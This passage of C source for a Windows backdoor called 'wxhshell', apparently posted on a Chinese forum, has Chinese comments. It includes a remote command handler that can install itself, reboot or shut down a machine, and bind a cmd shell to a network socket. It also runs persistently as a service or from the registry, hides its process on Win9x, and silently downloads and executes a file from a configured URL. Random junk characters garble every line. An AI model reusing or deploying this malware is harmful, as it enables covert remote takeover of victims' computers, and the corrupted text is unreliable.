  Rjm5{aa-  
  // 帮助 ',J3^h!b  
  case '?': { PuUqWW'^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cN&b$ 8O=%  
    break; y$4,r4cmR|  
  } ]C5JP~ #z  
  // 安装 O23f\pm&  
  case 'i': { I#uJdV|x  
    if(Install()) QVzLf+R~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7Py8!  
    else uysGOyi<u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); crZ\:LeJ  
    break; _W]3_1Lu  
    } mgH4)!Z*56  
  // 卸载 Tvf]OJ9N  
  case 'r': { 6 `X#<#_&  
    if(Uninstall()) ug UV`5w   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TyGXDU  
    else D{a{$P r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :tzCuK?e  
    break; ~3/>;[!  
    } 0($MN]oZa  
  // 显示 wxhshell 所在路径 15Yy&9D  
  case 'p': { s- g[B(  
    char svExeFile[MAX_PATH]; W!GgtQw{F  
    strcpy(svExeFile,"\n\r"); ]%shs  
      strcat(svExeFile,ExeFile); Z{u*vUC&  
        send(wsh,svExeFile,strlen(svExeFile),0); VpTp*[8O  
    break; ]J_Dn\  
    } 2E=E!Zwt_  
  // 重启 < 8WS YZ  
  case 'b': { s&8QRI.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?z Ms;  
    if(Boot(REBOOT)) `9b D%M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <(s+  
    else { s{< rc>  
    closesocket(wsh); )M'#l<9B  
    ExitThread(0); }{]{`\  
    } $zxCv7  
    break; U/0NN>V  
    } "QGP]F  
  // 关机 .\*\bvyCw  
  case 'd': { Lrr6z05FQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B6$s*SXNp  
    if(Boot(SHUTDOWN)) ]yCmGt+b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); - DL/Hk_r  
    else { i"sVk8+o!  
    closesocket(wsh); "+saI@G  
    ExitThread(0); "6Ly?'H K  
    } \*d@_oQ$  
    break; }JrM!'  
    } BD,~M*%z  
  // 获取shell F}i rCi47c  
  case 's': { !Y`nKC(=z  
    CmdShell(wsh); 36&7J{MU  
    closesocket(wsh); @: %}clZ  
    ExitThread(0); tEBf2|<  
    break; +>c)5Jih  
  } pEhWgCL  
  // 退出 cs~ }k7><  
  case 'x': { _;X# &S(q-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UmInAH4  
    CloseIt(wsh); R1J"QU  
    break; 0&-!v?6 )  
    } e J2[=L'  
  // 离开 SQa.xLU  
  case 'q': { B)ynF?"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bpKMQrwd  
    closesocket(wsh); < ~x5{p  
    WSACleanup(); FW[<;$  
    exit(1); 'fawpU|h  
    break; Es[?yft2Q<  
        } *R1x^t+)  
  } !>9*$E |  
  } *"j_3vAx  
G0y%_"[  
  // 提示信息 9I30ULm  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?#slg8[  
} jVk|(  
  } ^x:4%%Q]l  
mxGvhkj  
  return; o.}^6.h"  
} &&JI$x0;  
|WubIj*\{  
// shell模块句柄 ?ix0n,m  
int CmdShell(SOCKET sock) QF[9Zn  
{ q w|M~vdm  
STARTUPINFO si; EzzzH(!j  
ZeroMemory(&si,sizeof(si)); 3)42EM'9(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~iF*+\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p~Dm3^Y  
PROCESS_INFORMATION ProcessInfo; UxD1+\N6?  
char cmdline[]="cmd"; sOU_j4M{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R0*DfJS:Z  
  return 0; uTB; Bva  
} otX#}} +  
&v3r#$Hj[  
// 自身启动模式 988aF/c  
int StartFromService(void) D1#E&4   
{ ((;9%F:/$  
typedef struct --",}%-  
{ CcAsJX~_  
  DWORD ExitStatus;  v+G}n\F  
  DWORD PebBaseAddress; a[Txd=b  
  DWORD AffinityMask; b^hCm`2w*  
  DWORD BasePriority; }[ux4cd8Y  
  ULONG UniqueProcessId; ot(|t4^  
  ULONG InheritedFromUniqueProcessId; LUS7-~:F  
}   PROCESS_BASIC_INFORMATION; ,<pql!B-  
A(;J  
PROCNTQSIP NtQueryInformationProcess; d'Gv\i&e  
69yTGUG3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '{6`n5:e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Wu.od|t0  
If!0w ;h  
  HANDLE             hProcess; z-$?.?d  
  PROCESS_BASIC_INFORMATION pbi; J8? 6yd-7  
CdTmL{Y1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `2r21rVntf  
  if(NULL == hInst ) return 0; t$Irr*  
B>a`mFM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]~kqPw<R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b39;Sv|#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >k_Z]J6Pd  
!v`q%JW(  
  if (!NtQueryInformationProcess) return 0; u b4(mS  
Arfq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HzbO#)Id-I  
  if(!hProcess) return 0; C. 8>  
Ds L]o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |nU:  
GXJ3E"_.  
  CloseHandle(hProcess); `Rj i=k>  
>KGQ#hnH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \Xxx5:qM  
if(hProcess==NULL) return 0; '*-X 3p  
q. BqOa:  
HMODULE hMod; B#EF/\5  
char procName[255]; o#0NIn"GS/  
unsigned long cbNeeded; 9R.tkc|K  
Av+ w>~/3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RA.@(DN&  
vkbB~gr@*  
  CloseHandle(hProcess); ;;l(  
.=^h@C*   
if(strstr(procName,"services")) return 1; // 以服务启动 "lN<v=  
:VLuI  
  return 0; // 注册表启动 rD$7;  
} mjs*Z{_F^  
i Cv &<C@  
// 主模块 ^T^U:Zdq  
int StartWxhshell(LPSTR lpCmdLine) {p6",d."N&  
{ |S>nfL{TQe  
  SOCKET wsl; 3t%uUkXl  
BOOL val=TRUE; o2Pj|u*X  
  int port=0; *jA%.F  
  struct sockaddr_in door; }$ AC0  
@Cqg 2  
  if(wscfg.ws_autoins) Install(); ZTt% 7K"L  
$RA"NIZ:!  
port=atoi(lpCmdLine); q &jW{  
tQ2*kE  
if(port<=0) port=wscfg.ws_port; 8oA6'%.e  
=797;|B H  
  WSADATA data;  -U*XA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xZ9y*Gv\=  
\V: _Zs  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A9lqVMp64  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4eIu@ ";!  
  door.sin_family = AF_INET; /I6?t= ?<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hk,Q=};  
  door.sin_port = htons(port); xYwbbFGrG  
Y6{p|F?&"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c1:op@t  
closesocket(wsl); @ju-cv+  
return 1; ZU "y<  
} % qAhE TZ%  
_f34p:B%s  
  if(listen(wsl,2) == INVALID_SOCKET) { !+fHdB  
closesocket(wsl); UI;!_C_  
return 1; <w2Nh eM 3  
} sBSBDjk[  
  Wxhshell(wsl); SB  \ptF  
  WSACleanup(); !7bC\ {  
dm,bZHo  
return 0; qRB%G<H  
aG=Y 6j G  
} VQo7 se1P  
7c;59$2(  
// 以NT服务方式启动 @d4zSG/s5w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ao7|8[  
{ 162qxR[.  
DWORD   status = 0; {nHy!{+qqG  
  DWORD   specificError = 0xfffffff; );Gt!]p`;  
KJ pM?:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wlKL|N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .!9]I'9M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 53(m9YLk  
  serviceStatus.dwWin32ExitCode     = 0; w;#9 hW&  
  serviceStatus.dwServiceSpecificExitCode = 0; RKBjrSZg8  
  serviceStatus.dwCheckPoint       = 0; 7Uj[0Awn  
  serviceStatus.dwWaitHint       = 0; jj$'DZk  
x$s#';*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _=}Y lR  
  if (hServiceStatusHandle==0) return; H56e#:[$  
Ir}&|"~H  
status = GetLastError(); Nw|Lrn*h!  
  if (status!=NO_ERROR) '`3-X];p  
{ possM'vC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5'z&kl0"S  
    serviceStatus.dwCheckPoint       = 0; N8nyTPw  
    serviceStatus.dwWaitHint       = 0; #Q$4EQB  
    serviceStatus.dwWin32ExitCode     = status; <D4)gRRo  
    serviceStatus.dwServiceSpecificExitCode = specificError; +Z{ 4OJK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T>?sPq  
    return; 93'%aSDI%  
  } h+*  
Q&F@[k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $6'xRUx X  
  serviceStatus.dwCheckPoint       = 0; 9)4N2=  
  serviceStatus.dwWaitHint       = 0; ;'<K}h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5<#H=A~(  
} Ap97Zcw  
OEAF.  
// 处理NT服务事件,比如:启动、停止 ]j{S' cz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5T8!5EcS*  
{ DF&C7+hO  
switch(fdwControl) 01w=;Q  
{ ec]ksw6T+  
case SERVICE_CONTROL_STOP: - z|idy{  
  serviceStatus.dwWin32ExitCode = 0; H=yD}!j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G&Cl:CtC  
  serviceStatus.dwCheckPoint   = 0; _<3:vyfdC  
  serviceStatus.dwWaitHint     = 0; N?pD"re)6  
  { oW/&X5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xH' H! 8  
  } +Oyt   
  return; Qy3e ,9nS  
case SERVICE_CONTROL_PAUSE: q2hZ1o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x b_C1n  
  break; :+R ||q i  
case SERVICE_CONTROL_CONTINUE: ,cm2uY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W)9KYI9u  
  break; <B`=oO%o  
case SERVICE_CONTROL_INTERROGATE: n%?g+@y,^  
  break; O~t5qnu/}  
}; 0{B5C[PTG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L50`,,WF  
} [tBIABr  
tDi=T]-bt  
// 标准应用程序主函数 GN~:rdd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H}}t )H  
{ #Xn#e  
x?j&Jn_@w  
// 获取操作系统版本 eg,S(;VEt  
OsIsNt=GetOsVer(); l YZHM,"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); > ZNL pJQ  
f0^s*V+  
  // 从命令行安装 c}{e,t  
  if(strpbrk(lpCmdLine,"iI")) Install(); VKs$J)6  
UW>~C  
  // 下载执行文件 tSO F7N/<  
if(wscfg.ws_downexe) { uZQ)A,#n;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1-qQp.Wj  
  WinExec(wscfg.ws_filenam,SW_HIDE); n" MFC  
} }'Z(J)Bg  
UPgZj\t%{  
if(!OsIsNt) { G A7  
// 如果时win9x,隐藏进程并且设置为注册表启动 VvltVYOZA  
HideProc(); r":<1+07  
StartWxhshell(lpCmdLine); GUcuD^Fe  
} |Y])|`_'G  
else 2cmqtlW"  
  if(StartFromService()) [&zP$i&  
  // 以服务方式启动 i "-#1vy=  
  StartServiceCtrlDispatcher(DispatchTable); V K NCK  
else U2bb|6j  
  // 普通方式启动 D<rjxP  
  StartWxhshell(lpCmdLine); ]&9f:5',  
Z v~ A9bB  
return 0; q,*IR*B:a  
}
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只看该作者 1 发表于: 2006-10-10
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